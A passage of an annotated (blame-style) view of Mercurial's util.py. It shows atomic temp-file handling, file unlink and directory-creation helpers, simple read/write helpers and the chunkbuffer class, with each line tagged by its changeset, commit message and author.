diff
changeset
|
2077 self.seek = self._fp.seek |
e73128535105
util: delegate seek and tell methods of atomictempfile
Bryan O'Sullivan <bryano@fb.com>
parents:
17203
diff
changeset
|
2078 self.tell = self._fp.tell |
14007
d764463b433e
atomictempfile: avoid infinite recursion in __del__().
Greg Ward <greg@gerg.ca>
parents:
14004
diff
changeset
|
2079 self.fileno = self._fp.fileno |
4827
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2080 |
15057
774da7121fc9
atomictempfile: make close() consistent with other file-like objects.
Greg Ward <greg@gerg.ca>
parents:
15050
diff
changeset
|
2081 def close(self): |
8785
7a9151bc5b37
atomictempfile: fix exception in __del__ if mktempcopy fails (self._fp is None)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
8778
diff
changeset
|
2082 if not self._fp.closed: |
8327
aa25be1c2889
atomictempfile: delegate to posixfile instead of inheriting from it
Bryan O'Sullivan <bos@serpentine.com>
parents:
8312
diff
changeset
|
2083 self._fp.close() |
29201
a109bf7e0dc2
util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29200
diff
changeset
|
2084 filename = localpath(self.__name) |
32772
7ad95626f6a7
filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents:
32749
diff
changeset
|
2085 oldstat = self._checkambig and filestat.frompath(filename) |
29201
a109bf7e0dc2
util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29200
diff
changeset
|
2086 if oldstat and oldstat.stat: |
a109bf7e0dc2
util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29200
diff
changeset
|
2087 rename(self._tempname, filename) |
32772
7ad95626f6a7
filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents:
32749
diff
changeset
|
2088 newstat = filestat.frompath(filename) |
29201
a109bf7e0dc2
util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29200
diff
changeset
|
2089 if newstat.isambig(oldstat): |
a109bf7e0dc2
util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29200
diff
changeset
|
2090 # stat of changed file is ambiguous to original one |
36781
ffa3026d4196
cleanup: use stat_result[stat.ST_MTIME] instead of stat_result.st_mtime
Augie Fackler <augie@google.com>
parents:
36724
diff
changeset
|
2091 advanced = (oldstat.stat[stat.ST_MTIME] + 1) & 0x7fffffff |
29201
a109bf7e0dc2
util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29200
diff
changeset
|
2092 os.utime(filename, (advanced, advanced)) |
a109bf7e0dc2
util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29200
diff
changeset
|
2093 else: |
a109bf7e0dc2
util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29200
diff
changeset
|
2094 rename(self._tempname, filename) |
4827
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2095 |
15057
774da7121fc9
atomictempfile: make close() consistent with other file-like objects.
Greg Ward <greg@gerg.ca>
parents:
15050
diff
changeset
|
2096 def discard(self): |
8785
7a9151bc5b37
atomictempfile: fix exception in __del__ if mktempcopy fails (self._fp is None)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
8778
diff
changeset
|
2097 if not self._fp.closed: |
4827
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2098 try: |
14007
d764463b433e
atomictempfile: avoid infinite recursion in __del__().
Greg Ward <greg@gerg.ca>
parents:
14004
diff
changeset
|
2099 os.unlink(self._tempname) |
d764463b433e
atomictempfile: avoid infinite recursion in __del__().
Greg Ward <greg@gerg.ca>
parents:
14004
diff
changeset
|
2100 except OSError: |
d764463b433e
atomictempfile: avoid infinite recursion in __del__().
Greg Ward <greg@gerg.ca>
parents:
14004
diff
changeset
|
2101 pass |
8327
aa25be1c2889
atomictempfile: delegate to posixfile instead of inheriting from it
Bryan O'Sullivan <bos@serpentine.com>
parents:
8312
diff
changeset
|
2102 self._fp.close() |
4827
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2103 |
13098
f7d6750dcd01
util: make atomicfiles closable
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents:
13072
diff
changeset
|
2104 def __del__(self): |
14968
b7dbe957585c
util: use safehasattr or getattr instead of hasattr
Augie Fackler <durin42@gmail.com>
parents:
14942
diff
changeset
|
2105 if safehasattr(self, '_fp'): # constructor actually did something |
15057
774da7121fc9
atomictempfile: make close() consistent with other file-like objects.
Greg Ward <greg@gerg.ca>
parents:
15050
diff
changeset
|
2106 self.discard() |
13098
f7d6750dcd01
util: make atomicfiles closable
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents:
13072
diff
changeset
|
2107 |
29394
6d96658a22b0
atomictempfile: add context manager support
Martijn Pieters <mjpieters@fb.com>
parents:
29393
diff
changeset
|
2108 def __enter__(self): |
6d96658a22b0
atomictempfile: add context manager support
Martijn Pieters <mjpieters@fb.com>
parents:
29393
diff
changeset
|
2109 return self |
6d96658a22b0
atomictempfile: add context manager support
Martijn Pieters <mjpieters@fb.com>
parents:
29393
diff
changeset
|
2110 |
6d96658a22b0
atomictempfile: add context manager support
Martijn Pieters <mjpieters@fb.com>
parents:
29393
diff
changeset
|
2111 def __exit__(self, exctype, excvalue, traceback): |
6d96658a22b0
atomictempfile: add context manager support
Martijn Pieters <mjpieters@fb.com>
parents:
29393
diff
changeset
|
2112 if exctype is not None: |
6d96658a22b0
atomictempfile: add context manager support
Martijn Pieters <mjpieters@fb.com>
parents:
29393
diff
changeset
|
2113 self.discard() |
6d96658a22b0
atomictempfile: add context manager support
Martijn Pieters <mjpieters@fb.com>
parents:
29393
diff
changeset
|
2114 else: |
6d96658a22b0
atomictempfile: add context manager support
Martijn Pieters <mjpieters@fb.com>
parents:
29393
diff
changeset
|
2115 self.close() |
6d96658a22b0
atomictempfile: add context manager support
Martijn Pieters <mjpieters@fb.com>
parents:
29393
diff
changeset
|
2116 |
38493
da2a7d8354b2
unlinkpath: make empty directory removal optional (issue5901) (issue5826)
Kyle Lippincott <spectral@google.com>
parents:
38380
diff
changeset
|
2117 def unlinkpath(f, ignoremissing=False, rmdir=True): |
31539 | 2118 """unlink and remove the directory if it is empty""" |
31541
bd9daafbf87c
util: use tryunlink in unlinkpath
Ryan McElroy <rmcelroy@fb.com>
parents:
31540
diff
changeset
|
2119 if ignoremissing: |
bd9daafbf87c
util: use tryunlink in unlinkpath
Ryan McElroy <rmcelroy@fb.com>
parents:
31540
diff
changeset
|
2120 tryunlink(f) |
bd9daafbf87c
util: use tryunlink in unlinkpath
Ryan McElroy <rmcelroy@fb.com>
parents:
31540
diff
changeset
|
2121 else: |
31539 | 2122 unlink(f) |
38493
da2a7d8354b2
unlinkpath: make empty directory removal optional (issue5901) (issue5826)
Kyle Lippincott <spectral@google.com>
parents:
38380
diff
changeset
|
2123 if rmdir: |
da2a7d8354b2
unlinkpath: make empty directory removal optional (issue5901) (issue5826)
Kyle Lippincott <spectral@google.com>
parents:
38380
diff
changeset
|
2124 # try removing directories that might now be empty |
da2a7d8354b2
unlinkpath: make empty directory removal optional (issue5901) (issue5826)
Kyle Lippincott <spectral@google.com>
parents:
38380
diff
changeset
|
2125 try: |
da2a7d8354b2
unlinkpath: make empty directory removal optional (issue5901) (issue5826)
Kyle Lippincott <spectral@google.com>
parents:
38380
diff
changeset
|
2126 removedirs(os.path.dirname(f)) |
da2a7d8354b2
unlinkpath: make empty directory removal optional (issue5901) (issue5826)
Kyle Lippincott <spectral@google.com>
parents:
38380
diff
changeset
|
2127 except OSError: |
da2a7d8354b2
unlinkpath: make empty directory removal optional (issue5901) (issue5826)
Kyle Lippincott <spectral@google.com>
parents:
38380
diff
changeset
|
2128 pass |
31539 | 2129 |
31540
6d5b77abf306
util: add tryunlink function
Ryan McElroy <rmcelroy@fb.com>
parents:
31539
diff
changeset
|
2130 def tryunlink(f): |
6d5b77abf306
util: add tryunlink function
Ryan McElroy <rmcelroy@fb.com>
parents:
31539
diff
changeset
|
2131 """Attempt to remove a file, ignoring ENOENT errors.""" |
6d5b77abf306
util: add tryunlink function
Ryan McElroy <rmcelroy@fb.com>
parents:
31539
diff
changeset
|
2132 try: |
6d5b77abf306
util: add tryunlink function
Ryan McElroy <rmcelroy@fb.com>
parents:
31539
diff
changeset
|
2133 unlink(f) |
6d5b77abf306
util: add tryunlink function
Ryan McElroy <rmcelroy@fb.com>
parents:
31539
diff
changeset
|
2134 except OSError as e: |
6d5b77abf306
util: add tryunlink function
Ryan McElroy <rmcelroy@fb.com>
parents:
31539
diff
changeset
|
2135 if e.errno != errno.ENOENT: |
6d5b77abf306
util: add tryunlink function
Ryan McElroy <rmcelroy@fb.com>
parents:
31539
diff
changeset
|
2136 raise |
6d5b77abf306
util: add tryunlink function
Ryan McElroy <rmcelroy@fb.com>
parents:
31539
diff
changeset
|
2137 |
18938
e22107cff6bf
util: add notindexed optional parameter to makedirs function
Angel Ezquerra <angel.ezquerra@gmail.com>
parents:
18930
diff
changeset
|
2138 def makedirs(name, mode=None, notindexed=False): |
29017
07be86828e79
util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents:
28883
diff
changeset
|
2139 """recursive directory creation with parent mode inheritance |
07be86828e79
util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents:
28883
diff
changeset
|
2140 |
07be86828e79
util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents:
28883
diff
changeset
|
2141 Newly created directories are marked as "not to be indexed by |
07be86828e79
util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents:
28883
diff
changeset
|
2142 the content indexing service", if ``notindexed`` is specified |
07be86828e79
util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents:
28883
diff
changeset
|
2143 for "write" mode access. |
07be86828e79
util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents:
28883
diff
changeset
|
2144 """ |
6062
3c3b126e5619
Make files in .hg inherit the permissions from .hg/store
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
6007
diff
changeset
|
2145 try: |
18938
e22107cff6bf
util: add notindexed optional parameter to makedirs function
Angel Ezquerra <angel.ezquerra@gmail.com>
parents:
18930
diff
changeset
|
2146 makedir(name, notindexed) |
25660
328739ea70c3
global: mass rewrite to use modern exception syntax
Gregory Szorc <gregory.szorc@gmail.com>
parents:
25420
diff
changeset
|
2147 except OSError as err: |
6062
3c3b126e5619
Make files in .hg inherit the permissions from .hg/store
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
6007
diff
changeset
|
2148 if err.errno == errno.EEXIST: |
3c3b126e5619
Make files in .hg inherit the permissions from .hg/store
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
6007
diff
changeset
|
2149 return |
15058
81f33be0ea79
util: postpone and reorder parent calculation in makedirs
Adrian Buehlmann <adrian@cadifra.com>
parents:
15057
diff
changeset
|
2150 if err.errno != errno.ENOENT or not name: |
81f33be0ea79
util: postpone and reorder parent calculation in makedirs
Adrian Buehlmann <adrian@cadifra.com>
parents:
15057
diff
changeset
|
2151 raise |
81f33be0ea79
util: postpone and reorder parent calculation in makedirs
Adrian Buehlmann <adrian@cadifra.com>
parents:
15057
diff
changeset
|
2152 parent = os.path.dirname(os.path.abspath(name)) |
81f33be0ea79
util: postpone and reorder parent calculation in makedirs
Adrian Buehlmann <adrian@cadifra.com>
parents:
15057
diff
changeset
|
2153 if parent == name: |
6062
3c3b126e5619
Make files in .hg inherit the permissions from .hg/store
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
6007
diff
changeset
|
2154 raise |
18938
e22107cff6bf
util: add notindexed optional parameter to makedirs function
Angel Ezquerra <angel.ezquerra@gmail.com>
parents:
18930
diff
changeset
|
2155 makedirs(parent, mode, notindexed) |
29017
07be86828e79
util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents:
28883
diff
changeset
|
2156 try: |
07be86828e79
util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents:
28883
diff
changeset
|
2157 makedir(name, notindexed) |
07be86828e79
util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents:
28883
diff
changeset
|
2158 except OSError as err: |
07be86828e79
util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents:
28883
diff
changeset
|
2159 # Catch EEXIST to handle races |
07be86828e79
util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents:
28883
diff
changeset
|
2160 if err.errno == errno.EEXIST: |
07be86828e79
util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents:
28883
diff
changeset
|
2161 return |
07be86828e79
util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents:
28883
diff
changeset
|
2162 raise |
18678
423eee0b0b14
util: make ensuredirs safer against races
Bryan O'Sullivan <bryano@fb.com>
parents:
18668
diff
changeset
|
2163 if mode is not None: |
423eee0b0b14
util: make ensuredirs safer against races
Bryan O'Sullivan <bryano@fb.com>
parents:
18668
diff
changeset
|
2164 os.chmod(name, mode) |
18668
4034b8d551b1
scmutil: create directories in a race-safe way during update
Bryan O'Sullivan <bryano@fb.com>
parents:
18614
diff
changeset
|
2165 |
14099
0824a0a3cefc
util: add readfile() & writefile() helper functions
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents:
14077
diff
changeset
|
2166 def readfile(path): |
27778
4d10600c3f08
util: simplify file I/O functions using context managers
Bryan O'Sullivan <bryano@fb.com>
parents:
27768
diff
changeset
|
2167 with open(path, 'rb') as fp: |
14100
3e9e02a41dfb
util: really drop size from readfile
Matt Mackall <mpm@selenic.com>
parents:
14099
diff
changeset
|
2168 return fp.read() |
14099
0824a0a3cefc
util: add readfile() & writefile() helper functions
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents:
14077
diff
changeset
|
2169 |
14167
0e4753807c93
util & scmutil: adapt read/write helpers as request by mpm
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents:
14147
diff
changeset
|
2170 def writefile(path, text): |
27778
4d10600c3f08
util: simplify file I/O functions using context managers
Bryan O'Sullivan <bryano@fb.com>
parents:
27768
diff
changeset
|
2171 with open(path, 'wb') as fp: |
14167
0e4753807c93
util & scmutil: adapt read/write helpers as request by mpm
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents:
14147
diff
changeset
|
2172 fp.write(text) |
0e4753807c93
util & scmutil: adapt read/write helpers as request by mpm
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents:
14147
diff
changeset
|
2173 |
0e4753807c93
util & scmutil: adapt read/write helpers as request by mpm
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents:
14147
diff
changeset
|
2174 def appendfile(path, text): |
27778
4d10600c3f08
util: simplify file I/O functions using context managers
Bryan O'Sullivan <bryano@fb.com>
parents:
27768
diff
changeset
|
2175 with open(path, 'ab') as fp: |
14099
0824a0a3cefc
util: add readfile() & writefile() helper functions
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents:
14077
diff
changeset
|
2176 fp.write(text) |
0824a0a3cefc
util: add readfile() & writefile() helper functions
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents:
14077
diff
changeset
|
2177 |
1199
78ceaf83f28f
Created a class in util called chunkbuffer that buffers reads from an
Eric Hopper <hopper@omnifarious.org>
parents:
1169
diff
changeset
|
2178 class chunkbuffer(object): |
78ceaf83f28f
Created a class in util called chunkbuffer that buffers reads from an
Eric Hopper <hopper@omnifarious.org>
parents:
1169
diff
changeset
|
2179 """Allow arbitrary sized chunks of data to be efficiently read from an |
78ceaf83f28f
Created a class in util called chunkbuffer that buffers reads from an
Eric Hopper <hopper@omnifarious.org>
parents:
1169
diff
changeset
|
2180 iterator over chunks of arbitrary size.""" |
1200 | 2181 |
5446
fa836e050c50
chunkbuffer: removed unused method and arg
Matt Mackall <mpm@selenic.com>
parents:
5420
diff
changeset
|
2182 def __init__(self, in_iter): |
32123
5f53c267e362
util: remove doc of long gone 'targetsize' argument
Martin von Zweigbergk <martinvonz@google.com>
parents:
31952
diff
changeset
|
2183 """in_iter is the iterator that's iterating over the input chunks.""" |
11670
1b3b843e1100
chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
11668
diff
changeset
|
2184 def splitbig(chunks): |
1b3b843e1100
chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
11668
diff
changeset
|
2185 for chunk in chunks: |
1b3b843e1100
chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
11668
diff
changeset
|
2186 if len(chunk) > 2**20: |
1b3b843e1100
chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
11668
diff
changeset
|
2187 pos = 0 |
1b3b843e1100
chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
11668
diff
changeset
|
2188 while pos < len(chunk): |
1b3b843e1100
chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
11668
diff
changeset
|
2189 end = pos + 2 ** 18 |
1b3b843e1100
chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
11668
diff
changeset
|
2190 yield chunk[pos:end] |
1b3b843e1100
chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
11668
diff
changeset
|
2191 pos = end |
1b3b843e1100
chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
11668
diff
changeset
|
2192 else: |
1b3b843e1100
chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
11668
diff
changeset
|
2193 yield chunk |
1b3b843e1100
chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
11668
diff
changeset
|
2194 self.iter = splitbig(in_iter) |
25113
0ca8410ea345
util: drop alias for collections.deque
Martin von Zweigbergk <martinvonz@google.com>
parents:
25112
diff
changeset
|
2195 self._queue = collections.deque() |
26480
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
2196 self._chunkoffset = 0 |
1200 | 2197 |
21018
c848bfd02366
util: support None size in chunkbuffer.read()
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
20835
diff
changeset
|
2198 def read(self, l=None): |
1200 | 2199 """Read L bytes of data from the iterator of chunks of data. |
21018
c848bfd02366
util: support None size in chunkbuffer.read()
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
20835
diff
changeset
|
2200 Returns less than L bytes if the iterator runs dry. |
c848bfd02366
util: support None size in chunkbuffer.read()
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
20835
diff
changeset
|
2201 |
23139
e53f6b72a0e4
spelling: fixes from proofreading of spell checker issues
Mads Kiilerich <madski@unity3d.com>
parents:
23097
diff
changeset
|
2202 If size parameter is omitted, read everything""" |
26478
a3f7e5461dbd
util.chunkbuffer: special case reading everything
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26450
diff
changeset
|
2203 if l is None: |
a3f7e5461dbd
util.chunkbuffer: special case reading everything
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26450
diff
changeset
|
2204 return ''.join(self.iter) |
a3f7e5461dbd
util.chunkbuffer: special case reading everything
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26450
diff
changeset
|
2205 |
11758
a79214972da2
chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents:
11469
diff
changeset
|
2206 left = l |
17962
4c29668ca316
util: make chunkbuffer non-quadratic on Windows
Matt Mackall <mpm@selenic.com>
parents:
17560
diff
changeset
|
2207 buf = [] |
16873
37e081609828
util: simplify queue management in chunkbuffer
Bryan O'Sullivan <bryano@fb.com>
parents:
16834
diff
changeset
|
2208 queue = self._queue |
26478
a3f7e5461dbd
util.chunkbuffer: special case reading everything
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26450
diff
changeset
|
2209 while left > 0: |
11758
a79214972da2
chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents:
11469
diff
changeset
|
2210 # refill the queue |
a79214972da2
chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents:
11469
diff
changeset
|
2211 if not queue: |
a79214972da2
chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents:
11469
diff
changeset
|
2212 target = 2**18 |
a79214972da2
chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents:
11469
diff
changeset
|
2213 for chunk in self.iter: |
a79214972da2
chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents:
11469
diff
changeset
|
2214 queue.append(chunk) |
a79214972da2
chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents:
11469
diff
changeset
|
2215 target -= len(chunk) |
a79214972da2
chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents:
11469
diff
changeset
|
2216 if target <= 0: |
a79214972da2
chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents:
11469
diff
changeset
|
2217 break |
a79214972da2
chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents:
11469
diff
changeset
|
2218 if not queue: |
1199
78ceaf83f28f
Created a class in util called chunkbuffer that buffers reads from an
Eric Hopper <hopper@omnifarious.org>
parents:
1169
diff
changeset
|
2219 break |
11758
a79214972da2
chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents:
11469
diff
changeset
|
2220 |
26480
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
2221 # The easy way to do this would be to queue.popleft(), modify the |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
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|
2222 # chunk (if necessary), then queue.appendleft(). However, for cases |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
2223 # where we read partial chunk content, this incurs 2 dequeue |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
2224 # mutations and creates a new str for the remaining chunk in the |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
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|
2225 # queue. Our code below avoids this overhead. |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
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|
2226 |
26479
46143f31290e
util.chunkbuffer: refactor chunk handling logic
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26478
diff
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|
2227 chunk = queue[0] |
46143f31290e
util.chunkbuffer: refactor chunk handling logic
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26478
diff
changeset
|
2228 chunkl = len(chunk) |
26480
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
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|
2229 offset = self._chunkoffset |
26479
46143f31290e
util.chunkbuffer: refactor chunk handling logic
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26478
diff
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|
2230 |
46143f31290e
util.chunkbuffer: refactor chunk handling logic
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26478
diff
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|
2231 # Use full chunk. |
26480
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
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|
2232 if offset == 0 and left >= chunkl: |
26479
46143f31290e
util.chunkbuffer: refactor chunk handling logic
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26478
diff
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|
2233 left -= chunkl |
46143f31290e
util.chunkbuffer: refactor chunk handling logic
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26478
diff
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|
2234 queue.popleft() |
46143f31290e
util.chunkbuffer: refactor chunk handling logic
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26478
diff
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|
2235 buf.append(chunk) |
26480
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
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|
2236 # self._chunkoffset remains at 0. |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
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|
2237 continue |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
2238 |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
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|
2239 chunkremaining = chunkl - offset |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
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|
2240 |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
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|
2241 # Use all of unconsumed part of chunk. |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
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|
2242 if left >= chunkremaining: |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
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|
2243 left -= chunkremaining |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
2244 queue.popleft() |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
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|
2245 # offset == 0 is enabled by block above, so this won't merely |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
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|
2246 # copy via ``chunk[0:]``. |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
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|
2247 buf.append(chunk[offset:]) |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
2248 self._chunkoffset = 0 |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
2249 |
26479
46143f31290e
util.chunkbuffer: refactor chunk handling logic
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26478
diff
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|
2250 # Partial chunk needed. |
46143f31290e
util.chunkbuffer: refactor chunk handling logic
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26478
diff
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|
2251 else: |
26480
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
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|
2252 buf.append(chunk[offset:offset + left]) |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
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|
2253 self._chunkoffset += left |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
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|
2254 left -= chunkremaining |
11758
a79214972da2
chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents:
11469
diff
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|
2255 |
17962
4c29668ca316
util: make chunkbuffer non-quadratic on Windows
Matt Mackall <mpm@selenic.com>
parents:
17560
diff
changeset
|
2256 return ''.join(buf) |
11758
a79214972da2
chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents:
11469
diff
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|
2257 |
30181
7356e6b1f5b8
util: increase filechunkiter size to 128k
Mads Kiilerich <madski@unity3d.com>
parents:
30087
diff
changeset
|
2258 def filechunkiter(f, size=131072, limit=None): |
2462
d610bcfd66a8
util: add limit to amount filechunkiter will read
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2448
diff
changeset
|
2259 """Create a generator that produces the data in the file size |
30181
7356e6b1f5b8
util: increase filechunkiter size to 128k
Mads Kiilerich <madski@unity3d.com>
